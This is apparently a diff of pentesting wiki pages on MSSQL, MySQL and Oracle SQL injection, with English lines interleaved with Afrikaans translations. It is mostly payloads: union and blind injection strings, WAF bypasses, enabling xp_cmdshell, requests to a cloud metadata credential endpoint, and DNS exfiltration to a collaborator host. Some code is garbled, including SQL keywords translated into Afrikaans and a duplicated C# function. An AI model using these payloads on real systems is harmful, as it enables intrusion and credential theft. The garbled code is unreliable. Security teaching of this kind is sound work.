Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role.
Die skep van 'n CLR UDF (Common Language Runtime User Defined Function), wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat `dbo` toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as `sa` of met 'n Administrateur rol gemaak word.
A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL.
The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below:
'n Visual Studio-projek en installasie-instruksies word verskaf in [hierdie Github-repositori](https://github.com/infiniteloopltd/SQLHttp) om die laai van die binêre in MSSQL as 'n CLR assembly te fasiliteer, wat die uitvoering van HTTP GET versoeke vanuit MSSQL moontlik maak.
Die kern van hierdie funksionaliteit is ingekapsuleer in die `http.cs`-lêer, wat die `WebClient`-klas gebruik om 'n GET-versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`):
Voordat die `CREATE ASSEMBLY` SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet te loop om die SHA512-hash van die assembly by die bediener se lys van vertroude assemblies (beskikbaar via `select * from sys.trusted_assemblies;`) te voeg:
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests:
Na suksesvolle toevoeging van die samestelling en die skep van die funksie, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query**
### **Vinige Exploitatie: Herwinning van Hele Tabelinhoud in 'n Enkele Vraag**
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity.
Here's how to retrieve the schema, tables, and columns from the current database:
'n Bondige metode om die volle inhoud van 'n tabel in 'n enkele vraag te onttrek, behels die gebruik van die `FOR JSON` klousule. Hierdie benadering is meer bondig as om die `FOR XML` klousule te gebruik, wat 'n spesifieke modus soos "raw" vereis. Die `FOR JSON` klousule word verkies weens sy bondigheid.
Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:
````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
@ -228,37 +209,37 @@ SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
gebruik [tempdb]
skep tabel [test] ([id] int)
voeg in [test] waardes(1)
selecteer [id] van [test]
verwyder tabel [test]
```
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)select[id]van[test]verwyder/**/tafel[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
# Voeg 'n nuttelose exec() aan die einde by en laat die WAF dink dit is nie 'n geldige navraag nie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
## Dit sal wees:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
# Gebruik van vreemd geboude navrae
admin'exec('update[users]set[password]=''a''')--
## This will be:
## Dit sal wees:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
# Of om xp_cmdshell in te skakel
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
## Dit sal wees
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -270,4 +251,3 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
- [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# MySQL injection
# MySQL-inspuiting
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
## Comments
## Kommentaar
```sql
-- MYSQL Comment
# MYSQL Comment
@ -17,11 +16,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## Interessante Funksies
## Interesting Functions
### Confirm Mysql:
### Bevestig Mysql:
```
concat('a','b')
database()
@ -35,9 +32,7 @@ floor(2.9)
length(1)
count(1)
```
### Useful functions
### Nuttige funksies
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -53,37 +48,32 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## All injection
## Alle inspuitings
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flow
Remember that in "modern" versions of **MySQL** you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**"** (This could be useful to bypass WAFs).
## Stroom
Onthou dat jy in "moderne" weergawes van **MySQL** "_**information_schema.tables**_" kan vervang met "_**mysql.innodb_table_stats**_**"** (Dit kan nuttig wees om WAFs te omseil).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Only 1 value**
### **Slegs 1 waarde**
- `group_concat()`
- `Limit X,1`
### **Blind one by one**
### **Blind een vir een**
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` of `substring(version(),X,1)=0x70` of `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind adding**
### **Blind byvoeging**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -91,10 +81,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Detect number of columns
Using a simple ORDER
## Ontdek aantal kolomme
Gebruik 'n eenvoudige ORDER
```
order by 1
order by 2
@ -107,88 +96,74 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
## MySQL Unie Gebaseerdf
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
**Leer hier verskillende opsies om** [**'n Mysql-inspuiting te misbruik om 'n SSRF te verkry**](mysql-ssrf.md)**.**
## WAF bypass tricks
## WAF omseil truuks
### Executing queries through Prepared Statements
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
### Uitvoering van navrae deur Voorbereide Verklarings
Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omseil deur die hex voorstelling van die navraag wat jy wil uitvoer aan 'n veranderlike toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL verklarings te gebruik om uiteindelik die navraag uit te voer. Iets soos hierdie:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Vir meer inligting, verwys asseblief na [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Information_schema alternatiewe
### Information_schema alternatives
Onthou dat jy in "moderne" weergawes van **MySQL** _**information_schema.tables**_ kan vervang met _**mysql.innodb_table_stats**_ of met _**sys.x$schema_flattened_keys**_ of met **sys.schema_table_statistics**.
Remember that in "modern" versions of **MySQL** you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_ or for _**sys.x$schema_flattened_keys**_ or for **sys.schema_table_statistics**
### MySQLinjection without COMMAS
Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
### MySQLinjection sonder KOMMA'S
Kies 2 kolomme sonder om enige komma te gebruik ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Herwinning waardes sonder die kolomnaam
### Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
Aangesien daar 2 kolomme is (waarvan die eerste die ID is) en die ander een die vlag, kan jy probeer om die inhoud van die vlag te bruteforce deur karakter vir karakter te probeer:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Meer inligting in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQL geskiedenis
### MySQL history
You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
### Version alternative**s**
Jy kan ander uitvoerings sien binne die MySQL deur die tabel te lees: **sys.x$statement_analysis**
### Weergawe alternatiewe**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Ander MYSQL-inspuitingsgidse
## Other MYSQL injection guides
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
## References
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie- en kuberveiligheidprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,29 @@
# MySQL File priv to SSRF/RCE
# MySQL File priv na SSRF/RCE
{{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Dit is 'n opsomming van die MySQL/MariaDB/Percona tegnieke van [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
### Server-Side Request Forgery (SSRF) via SQL Functions
### Server-Side Request Forgery (SSRF) via SQL Funksies
In the exploration of SQL Out of Band data exfiltration, the `LOAD_FILE()` function is commonly employed to initiate network requests. This function, however, is constrained by the operating system it operates on and the database's startup configurations.
In die verkenning van SQL Out of Band data eksfiltrasie, word die `LOAD_FILE()` funksie algemeen gebruik om netwerk versoeke te begin. Hierdie funksie is egter beperk deur die bedryfstelsel waarop dit werk en die databasis se opstartkonfigurasies.
The `secure_file_priv` global variable, if unset, defaults to `/var/lib/mysql-files/`, limiting file access to this directory unless set to an empty string (`""`). This adjustment necessitates modifications in the database's configuration file or startup parameters.
Die `secure_file_priv` globale veranderlike, indien nie gestel nie, is standaard op `/var/lib/mysql-files/`, wat lêer toegang tot hierdie gids beperk tensy dit op 'n leë string (`""`) gestel word. Hierdie aanpassing vereis wysigings in die databasis se konfigurasiefil of opstartparameters.
Given `secure_file_priv` is disabled (`""`), and assuming the necessary file and `file_priv` permissions are granted, files outside the designated directory can be read. Yet, the capability for these functions to make network calls is highly dependent on the operating system. On Windows systems, network calls to UNC paths are feasible due to the operating system's understanding of UNC naming conventions, potentially leading to the exfiltration of NTLMv2 hashes.
Aangesien `secure_file_priv` gedeaktiveer is (`""`), en met die aanname dat die nodige lêer en `file_priv` toestemmings toegeken is, kan lêers buite die aangewese gids gelees word. Tog is die vermoë van hierdie funksies om netwerkoproepe te maak hoogs afhanklik van die bedryfstelsel. Op Windows stelsels is netwerkoproepe na UNC paaie haalbaar weens die bedryfstelsel se begrip van UNC naamkonvensies, wat moontlik kan lei tot die eksfiltrasie van NTLMv2 hashes.
This SSRF method is limited to TCP port 445 and does not permit port number modification, though it can be used to access shares with full read privileges and, as demonstrated in prior research, to steal hashes for further exploitation.
Hierdie SSRF metode is beperk tot TCP poort 445 en laat nie poortnommer wysiging toe nie, alhoewel dit gebruik kan word om deeltes met volle leesregte te benader en, soos in vorige navorsing gedemonstreer, om hashes te steel vir verdere uitbuiting.
### Remote Code Execution (RCE) via User Defined Functions (UDF)
### Remote Code Execution (RCE) via Gebruiker Gedefinieerde Funksies (UDF)
MySQL databases offer the use of User Defined Functions (UDF) from external library files. If these libraries are accessible within specific directories or the system's `$PATH`, they can be invoked from within MySQL.
MySQL databasisse bied die gebruik van Gebruiker Gedefinieerde Funksies (UDF) van eksterne biblioteeklêers aan. As hierdie biblioteke beskikbaar is binne spesifieke gidse of die stelsel se `$PATH`, kan hulle vanuit MySQL aangeroep word.
This technique allows for the execution of network/HTTP requests through a UDF, provided several conditions are met, including write access to the `@@plugin_dir`, `file_priv` set to `Y`, and `secure_file_priv` disabled.
Hierdie tegniek stel in staat om netwerk/HTTP versoeke deur 'n UDF uit te voer, mits verskeie voorwaardes nagekom word, insluitend skryfreëls tot die `@@plugin_dir`, `file_priv` gestel op `Y`, en `secure_file_priv` gedeaktiveer.
For instance, the `lib_mysqludf_sys` library or other UDF libraries enabling HTTP requests can be loaded to perform SSRF. The libraries must be transferred to the server, which can be achieved through hex or base64 encoding of the library's contents and then writing it to the appropriate directory.
Byvoorbeeld, die `lib_mysqludf_sys` biblioteek of ander UDF biblioteke wat HTTP versoeke moontlik maak, kan gelaai word om SSRF uit te voer. Die biblioteke moet na die bediener oorgedra word, wat bereik kan word deur die biblioteek se inhoud in hex of base64 te kodifiseer en dit dan na die toepaslike gids te skryf.
The process varies if the `@@plugin_dir` is not writable, especially for MySQL versions above `v5.0.67`. In such cases, alternative paths that are writable must be used.
Die proses verskil as die `@@plugin_dir` nie skryfbaar is nie, veral vir MySQL weergawes bo `v5.0.67`. In sulke gevalle moet alternatiewe paaie wat skryfbaar is, gebruik word.
Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized.
Outomatisering van hierdie prosesse kan gefasiliteer word deur gereedskap soos SQLMap, wat UDF inspuiting ondersteun, en vir blinde SQL inspuitings kan uitvoer herleiding of DNS versoek smokkel tegnieke gebruik word.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Dien hierdie pos 'n wayback masjien kopie van die verwyderde pos van [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
Die gebruik van Oracle om Out of Band HTTP en DNS versoeke te doen is goed gedokumenteer, maar as 'n middel om SQL data in inspuitings te exfiltreer. Ons kan altyd hierdie tegnieke/funksies aanpas om ander SSRF/XSPA te doen.
Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.
Die installering van Oracle kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) verwys wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel.
Ek het die docker opdrag met die `--network="host"` vlag gedraai sodat ek Oracle as 'n inheemse installasie met volle netwerktoegang kon naboots, vir die duur van hierdie blogpos.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle-pakkette wat 'n URL of 'n Gasheer/Poortnommer spesifikasie ondersteun <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically,
Om enige pakkette en funksies te vind wat 'n gasheer en poort spesifikasie ondersteun, het ek 'n Google-soektog op die [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) gedoen. Spesifiek,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
The search returned the following results (not all can be used to perform outbound network)
Die soektog het die volgende resultate teruggegee (nie almal kan gebruik word om uitgaande netwerk te voer nie)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
@ -41,39 +37,34 @@ The search returned the following results (not all can be used to perform outbou
- DBMS_STREAMS_ADM
- UTL_HTTP
This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.
Hierdie ruwe soektog slaag duidelik oor pakkette soos `DBMS_LDAP` (wat die oordrag van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het.
In any case, lets take a look at some of the packages that we have discovered and listed above.
In elk geval, kom ons kyk na sommige van die pakkette wat ons ontdek het en hierbo gelys het.
**DBMS_LDAP.INIT**
The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument.
This function has been documented before to show exfiltration of data over DNS, like below
Die `DBMS_LDAP` pakket stel toegang tot data van LDAP-bedieners moontlik. Die `init()` funksie inisieer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument.
Hierdie funksie is voorheen gedokumenteer om die ekfiltrasie van data oor DNS te toon, soos hieronder
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
egter, aangesien die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om ook soos 'n poortskandeerder te werk.
However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.
Here are a few examples
Hier is 'n paar voorbeelde
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open.
'n `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort wat oop is, dui.
**UTL_SMTP**
The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification.
A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds
Die `UTL_SMTP` pakket is ontwerp om e-posse oor SMTP te stuur. Die voorbeeld wat op die [Oracle dokumentasiewebwerf verskaf word, wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspesifikasie te verskaf.
'n Grof voorbeeld word hieronder getoon met die `UTL_SMTP.OPEN_CONNECTION` funksie, met 'n tydsduur van 2 sekondes.
```
DECLARE c utl_smtp.connection;
BEGIN
@ -87,76 +78,68 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
A `ORA-29276: transfer timeout` shows port is open but no SMTP connection was estabilished while a `ORA-29278: SMTP transient error: 421 Service not available` shows that the port is closed.
'n `ORA-29276: transfer timeout` dui aan dat die poort oop is, maar geen SMTP-verbinding tot stand gebring is nie, terwyl 'n `ORA-29278: SMTP transient error: 421 Service not available` aandui dat die poort gesluit is.
**UTL_TCP**
The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.
The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.
Die `UTL_TCP` pakket en sy prosedures en funksies stel [TCP/IP-gebaseerde kommunikasie met dienste](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190) moontlik. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier in die netwerk word of volle Server Side Requests uitvoer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word.
Die voorbeeld [op die Oracle-dokumentasiewebwerf toon hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad te verkry](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke aan die metadata-instantie te doen, byvoorbeeld, of aan 'n arbitrêre TCP/IP-diens.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
